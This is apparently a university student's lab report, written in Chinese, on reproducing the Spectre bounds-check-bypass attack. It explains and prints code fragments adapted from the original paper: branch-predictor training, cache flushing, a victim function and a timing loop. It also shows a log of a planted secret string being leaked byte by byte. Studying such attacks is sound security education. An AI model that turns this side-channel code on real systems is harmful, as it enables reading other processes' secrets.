微处理器安全漏洞 Spectre

沙之洲 2020012408

0 代码说明

直接编译 `spec.cpp` 并运行即可

1 实验原理及细节

Spectre 的原理可以简单地概括为，利用处理器分支预测的推测执行，在分支失败的时候，处理器只会取消指令的执行结果，但是不会回滚 Cache 的状态，所以可以通过对 Cache 的测量推测出敏感数据。

本次实验借鉴了原始论文中的代码，因此着重描述其中的实现细节。

首先看 main 函数

```
int main(int argc, const char **argv){
    // 敏感数据和可以访问的  array1 之间的距离
    size_t malicious_x = (size_t)(secret - (char *)array1); /* default for
malicious_x */

    // score 和 value 用来保存值最高的两个
    int i, score[2], len = 40;
    uint8_t value[2];

    // 确保 array2 在内存里
    for (i = 0; i < sizeof(array2); i++)
        array2[i] = 1; /* write to array2 to ensure it is memory backed */

    printf("Reading %d bytes:\n", len);
    while (--len >= 0){
        printf("Reading at malicious_x = %p... ", (void *)malicious_x);
        // 逐个探测 secrete 里的字符
        readMemoryByte(malicious_x++, value, score);
        printf("%s: ", score[0] >= 2 * score[1] ? "Success" : "Unclear"); // 如果
第一个严格超过第二个两倍
        printf("0x%02X='%c' score=%d ", value[0], (value[0] > 31 && value[0] <
127 ? value[0] : '?'), score[0]);
        if (score[1] > 0)
            printf("(second best: 0x%02X score=%d)", value[1], score[1]);
        printf("\n");
    }
    return 0;
}
```

首先计算敏感数据和 array1 的基地址，记录这个 `恶意距离`，在之后对分支预测器进行 5 次训练之后，要用 `恶意地址` 进行访存，来探测敏感内容，这一部分的细节将在后文进行详细讨论。while 循环中对 `readMemoryByte` 的调用是逐字节对敏感数据进行探测。

对于 `readMemoryByte` 函数，我们只需要关注以下几个关键部分

```
        for (j = 29; j >= 0; j--)
```

```
        {
            _mm_clflush(&array1_size);
            for (volatile int z = 0; z < 100; z++)
            {
            } /* Delay (can also mfence) */

            /* Bit twiddling to set x=training_x if j % 6 != 0
             * or malicious_x if j % 6 == 0 */
            /* Avoid jumps in case those tip off the branch predictor */
            /* Set x=FFF.FF0000 if j%6==0, else x=0 */
            x = ((j % 6) - 1) & ~0xFFFF;
            /* Set x=-1 if j&6=0, else x=0 */
            x = (x | (x >> 16));
            x = training_x ^ (x & (malicious_x ^ training_x));
            /* Call the victim! */
            victim_function(x);
        }
```

这里每次会先用合法的地址调用 5 次 victim_function，训练分支预测器，让分支预测器预测 victim_function 的分支成功。然后第 6 次调用 malicious 地址，利用分支预测器，将敏感数据读到 Cache 里。Victim_function 的代码如下

```
void victim_function(size_t x)
{
    if (x < array1_size)
    {
        temp &= array2[array1[x] * 512];
    }
}
```

这里当 x 为 malicious address 的时候，array[x] 的内容是敏感数据，这时候相当于我们把敏感数据映射到 array2 上，之后只需要检测 array2 的哪一个地址在 Cache 里，就能推算出敏感数据的内容了。

```
        /* Time reads. Mixed-up order to prevent stride prediction */
        // 同 hash 的方法检查 array2 每一个 避免被处理器预测提前取出来
        for (i = 0; i < 256; i++){
            mix_i = ((i * 167) + 13) & 255;
            addr = &array2[mix_i * 512];
            time1 = __rdtscp(&junk);
            junk = *addr;                       /* Time memory access */
            time2 = __rdtscp(&junk) - time1; /* Compute elapsed time */
            if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries %
array1_size])
                results[mix_i]++; /* cache hit -> score +1 for this value */
        }
```

之后对 array2 中的数据是否在 Cache 里进行检测，这里用对访问的 index 进行 hash，这是为了防止处理器对访问地址进行预测，进行预取，干扰实验结果。这里 * 512 是为了将不同的敏感数据隔开，防止 Cache line 一次将很多相邻的值取进来，干扰实验结果。如果对一个 address 访问的时间低于给定的阈值，我们认为其地址就对应着敏感数据的值。

```
        /* Locate highest & second-highest results */
        j = k = -1;
        for (i = 0; i < 256; i++){
            if (j < 0 || results[i] >= results[j]){
```

```
                k = j;
                j = i;
            }
            else if (k < 0 || results[i] >= results[k])
            {
                k = i;
            }
        }
        if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k]
== 0))
            break; /* Success if best is > 2*runner-up + 5 or 2/0) */
```

最后，遍历 256 种可能的访问时间，只有当 top1 比 top2 多特别多的时候，才认为 top1 对应的值是敏感数据。

通过上述方式，可以逐字节得到敏感数据。

2 实验结果

实验预设的敏感数据为

```
// need len == 40
char *secret = "What a sad day, but I still work hard!!\n";
```

实验输出如下

```
abc@LAPTOP-8A2NUVFV:/mnt/d/2023Spring/cyberSecurity/exp/spec$ ./spec
Reading 40 bytes:
Reading at malicious_x = 0xfffffffffffffdfc8... Success: 0x57='W' score=2
Reading at malicious_x = 0xfffffffffffffdfc9... Success: 0x68='h' score=2
Reading at malicious_x = 0xfffffffffffffdfca... Success: 0x61='a' score=2
Reading at malicious_x = 0xfffffffffffffdfcb... Success: 0x74='t' score=2
Reading at malicious_x = 0xfffffffffffffdfcc... Success: 0x20=' ' score=2
Reading at malicious_x = 0xfffffffffffffdfcd... Success: 0x61='a' score=2
Reading at malicious_x = 0xfffffffffffffdfce... Success: 0x20=' ' score=2
Reading at malicious_x = 0xfffffffffffffdfcf... Success: 0x73='s' score=2
Reading at malicious_x = 0xfffffffffffffdfd0... Success: 0x61='a' score=2
Reading at malicious_x = 0xfffffffffffffdfd1... Success: 0x64='d' score=2
Reading at malicious_x = 0xfffffffffffffdfd2... Success: 0x20=' ' score=2
Reading at malicious_x = 0xfffffffffffffdfd3... Success: 0x64='d' score=2
Reading at malicious_x = 0xfffffffffffffdfd4... Success: 0x61='a' score=2
Reading at malicious_x = 0xfffffffffffffdfd5... Success: 0x79='y' score=2
Reading at malicious_x = 0xfffffffffffffdfd6... Success: 0x2C=',' score=2
Reading at malicious_x = 0xfffffffffffffdfd7... Success: 0x20=' ' score=2
Reading at malicious_x = 0xfffffffffffffdfd8... Success: 0x62='b' score=2
Reading at malicious_x = 0xfffffffffffffdfd9... Success: 0x75='u' score=2
Reading at malicious_x = 0xfffffffffffffdfda... Success: 0x74='t' score=2
Reading at malicious_x = 0xfffffffffffffdfdb... Success: 0x20=' ' score=2
Reading at malicious_x = 0xfffffffffffffdfdc... Success: 0x49='I' score=2
Reading at malicious_x = 0xfffffffffffffdfdd... Success: 0x20=' ' score=2
Reading at malicious_x = 0xfffffffffffffdfde... Success: 0x73='s' score=2
Reading at malicious_x = 0xfffffffffffffdfdf... Success: 0x74='t' score=2
Reading at malicious_x = 0xfffffffffffffdfe0... Success: 0x69='i' score=2
Reading at malicious_x = 0xfffffffffffffdfe1... Success: 0x6C='l' score=2
Reading at malicious_x = 0xfffffffffffffdfe2... Success: 0x6C='l' score=2
Reading at malicious_x = 0xfffffffffffffdfe3... Success: 0x20=' ' score=2
```

```
Reading at malicious_x = 0xfffffffffffffdfe4... Success: 0x77='w' score=2
Reading at malicious_x = 0xfffffffffffffdfe5... Success: 0x6F='o' score=2
Reading at malicious_x = 0xfffffffffffffdfe6... Success: 0x72='r' score=2
Reading at malicious_x = 0xfffffffffffffdfe7... Success: 0x6B='k' score=2
Reading at malicious_x = 0xfffffffffffffdfe8... Success: 0x20=' ' score=2
Reading at malicious_x = 0xfffffffffffffdfe9... Success: 0x68='h' score=2
Reading at malicious_x = 0xfffffffffffffdfea... Success: 0x61='a' score=2
Reading at malicious_x = 0xfffffffffffffdfeb... Success: 0x72='r' score=2
Reading at malicious_x = 0xfffffffffffffdfec... Success: 0x64='d' score=2
Reading at malicious_x = 0xfffffffffffffdfed... Success: 0x21='!' score=2
Reading at malicious_x = 0xfffffffffffffdfee... Success: 0x21='!' score=2
Reading at malicious_x = 0xfffffffffffffdfef... Success: 0x0A='?' score=2
```

发现 Spectre 确实偷取了敏感数据，实验成功！